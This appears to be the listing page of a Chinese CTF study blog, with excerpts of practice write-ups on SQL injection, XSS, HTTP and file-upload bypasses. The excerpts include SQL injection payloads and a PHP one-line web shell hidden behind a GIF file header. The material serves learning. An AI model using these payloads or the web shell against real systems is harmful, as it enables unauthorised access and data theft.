乐呵呵、欢的博客

lehhair's Blog

CTF-study

NSSCTF刷题

NSSCTF刷题 [SWPUCTF 2021 新生赛]gift_F12 直接f12搜索flag [SWPUCTF 2021 新生赛]jicao <?php highlight_file('index.php'); include("flag.php"); $id=$_POST['id']; $js
125
0
1
2023-10-22

ctfshow刷题

ctfshow web1-签到 直接查看网页源码,看见base64编码,解码后得到flag web2-最简单的SQL注入 看见输入框直接尝试万能密码 username=admin' or 1 = 1 union select 1,group_concat(table_name),3 from inf
240
0
0
2023-08-06

buuctf刷题

buu刷题 [极客大挑战 2019]PHP 打开后是一只猫,看看前端源码也没啥发现的,直接目录扫描\ 使用dirsearch扫描到源码www.zip\ 解压后发现有index.php和class.php index.php <?php include 'class.php'; $se
105
0
0
2023-08-04

sqlilabs-记录

sqlilabs 刷题记录 SQLi-LABS Page-1 less-1(get-error based - single quotes - string) ?id=1' and 1=1 --+ # and 1=1 为真,所以页面正常显示 ?id=1' order by 1 --+ # 使用or
225
1
1
2023-07-25

2023.07.16学习 xss漏洞02

2023.07.16学习 xss漏洞02 跨站脚本攻击(Cross Site Scripting,XSS) 概述 XSS是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如Cookie、SessionID等,进而危害数据安全
38
0
0
2023-07-16

2023.07.15学习 xss基础01

2023.07.15学习 xss基础01 html 概述: HTML的全称为超文本标记语言,是一种标记语言。它包括一系列标签,通过这些标签可以将网络上的文档格式统一,使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本,HTML命令可以说明文字,图形、动画、声
54
0
0
2023-07-15

2023.07.13学习 HTTP/HTTPS

2023.07.13学习 HTTP/HTTPS HTTP:超文本传输协议,基于请求与响应,无状态的,应用层的协议,常基于tcp/ip协议传输数据,互联网上应用最广泛的一种网络协议,所有的www文件都要遵守这个标准 http的初衷是为了提供一种发布和接收html页面的方法 HTTP 的工作流程 A.
48
0
0
2023-07-13

buuctf-upload1

[ACTF2020 新生赛]Upload 1 打开靶机 根据提示发现只能上传图片文件 修改文件名之后发现上传依旧不可行,尝试伪造文件头 GIF89a <script language='php'>@eval($_POST['root']);</script>
146
0
0
2023-04-25

23/04/23学习

[极客大挑战 2019]BabySQL 1.打开靶机 2.尝试 pwd'union select 1,2,3# 过滤掉了union 和 select,双写试试 pwd'ununionion selselectect 1,2,3# <
37
0
0
2023-04-23

学习-230419

buctf-[强网杯 2019]随便注 0'; show databases; # 0'; show tables; # 1'; show columns from words; # 0'; show columns from `1919810931114514 `; # 1';rename ta
46
0
0
2023-04-19